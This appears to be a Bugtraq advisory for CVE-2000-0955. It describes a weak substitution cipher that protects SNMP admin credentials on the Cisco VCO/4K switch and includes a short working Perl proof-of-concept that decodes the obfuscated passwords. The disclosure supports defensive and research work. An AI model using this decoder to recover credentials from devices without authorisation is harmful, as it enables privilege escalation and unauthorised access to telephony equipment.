Cisco CVCO/4k Remote Username and Password Retrieval Vulnerability

BID:1885

Info

Cisco CVCO/4k Remote Username and Password Retrieval Vulnerability

Bugtraq ID: 1885
Class: Access Validation Error
CVE: CVE-2000-0955
Remote: Yes
Local: Yes
Published: Oct 26 2000 12:00AM
Updated: Jul 11 2009 03:56AM
Credit: Reported to bugtraq by "@stake Advisories" <[email protected]> on Thu, 26 Oct 2000.
Vulnerable: Cisco Virtual Central Office 4000 (VCO/4K) 5.1.3
Not Vulnerable: Cisco Virtual Central Office 4000 (VCO/4K) 5.1.4

Discussion

Cisco CVCO/4k Remote Username and Password Retrieval Vulnerability

A vulnerability exists in the Cisco Virtual Central Office 4000 (VCO/4K) programmable voice switch running software versions 5.13 and earlier.

The usernames and passwords for the device's SNMP administration interface are protected by a simple substitution cipher which can be easily defeated. As a result, if the "encrypted" passwords are retrieved, (for example, through the read-only community string) an attacker can obtain a list of valid usernames and passwords potentially allowing an elevation of privileges and possibly more serious consequences.

Exploit / POC

Cisco CVCO/4k Remote Username and Password Retrieval Vulnerability

&lt;--- cut here ---&gt;
#!/usr/bin/perl

printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");

printf ("Enter Password: ");
$pw = &lt;STDIN&gt;;
chop $pw;

printf("Result: ");
for ($pos = 0; $pos &lt; length($pw); $pos++){
printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n");

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